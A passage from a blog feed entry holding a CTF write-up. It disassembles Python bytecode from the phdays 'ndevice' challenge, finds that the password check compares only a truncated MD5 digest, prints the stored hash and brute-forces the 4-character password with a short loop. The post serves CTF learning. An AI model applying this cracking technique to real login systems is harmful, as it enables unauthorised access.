style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;34 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (pwdDigest)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;37 COMPARE_OP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 (==)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;40 POP_JUMP_IF_FALSE &amp;nbsp; &amp;nbsp; &amp;nbsp; 47&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;208 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;43 LOAD_GLOBAL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;4 (True)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;46 RETURN_VALUE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;210 &amp;nbsp; &amp;nbsp; &amp;gt;&amp;gt; &amp;nbsp; 47 LOAD_GLOBAL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;5 (False)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;50 RETURN_VALUE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;51 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 (None)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;54 RETURN_VALUE &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hmm, this ones small.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ok, so basically it takes an input, calculates the hash and then compares it with &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;self.pwdDigest&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;. No, wait! It compares it with the first 4 characters of &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;self.pwdDigest&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;So, we know we can bruteforce it. What we need to figure out at this point is, "where does self.pwdDigest get its value from?".&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Lets look at the __init__ section disassembly.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; dis(ndevice.PrinterFactory.__init__)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;189 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 (protocol)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 6 STORE_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 (protocol)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;190 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 9 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2 (keySt)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;12 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;15 STORE_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 (keyStorage)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;191 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;18 SETUP_EXCEPT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;44 (to 65)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;192 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;21 LOAD_GLOBAL &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2 (open)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;24 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 ('pwdfile')&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;27 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2 ('r')&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;30 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;33 STORE_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 3 (f)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;193 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;36 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (f)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;39 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (readline)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;42 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;45 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 (self)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;48 STORE_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 4 (pwdDigest)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;194 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;51 LOAD_FAST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3 (f)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;54 LOAD_ATTR &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;5 (close)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;57 CALL_FUNCTION &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;60 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;61 POP_BLOCK &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;62 JUMP_FORWARD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 7 (to 72)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;195 &amp;nbsp; &amp;nbsp; &amp;gt;&amp;gt; &amp;nbsp; 65 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;66 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;67 POP_TOP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;196 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;68 JUMP_FORWARD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 (to 72)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;71 END_FINALLY &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;gt;&amp;gt; &amp;nbsp; 72 LOAD_CONST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0 (None)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;75 RETURN_VALUE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;ha! It takes in the value from &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;pwdfile&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;. The value in the file is "&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;f54d2de733d7173c229cd538d01e8e7e&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;". So, lets brute force it.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; content =&amp;nbsp;'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&amp;amp;*()_+-=,./&amp;lt;&amp;gt;?;\':"\''&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;gt;&amp;gt;&amp;gt; for i in getpass():&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;... &amp;nbsp; &amp;nbsp; if md5.new(i).hexdigest()=="f54d2de733d7173c229cd538d01e8e7e":&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;... &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print i&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;...&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;qwea&lt;/div&gt;&lt;div style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;getpass is simply a generator that generates strings of length 4 from content. There are other files too in the ndevice/ such as storage(deals with storage/retrieval of keys) and genetic.pyc(generates random stuff).&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hope you enjoyed reading the writeup. Have fun, ciao.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7761018377333039151-3185461563389183240?l=x86overflow.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x86overflow.blogspot.com/feeds/3185461563389183240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://x86overflow.blogspot.com/2011/05/phdays-ctf-ndevice-partial-writeup.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3185461563389183240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7761018377333039151/posts/default/3185461563389183240'/><link rel='alternate' type='text/html' href='http://x86overflow.blogspot.com/2011/05/phdays-ctf-ndevice-partial-writeup.html' title='phdays CTF: ndevice partial writeup'/><author><name>Zubin</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry></feed>
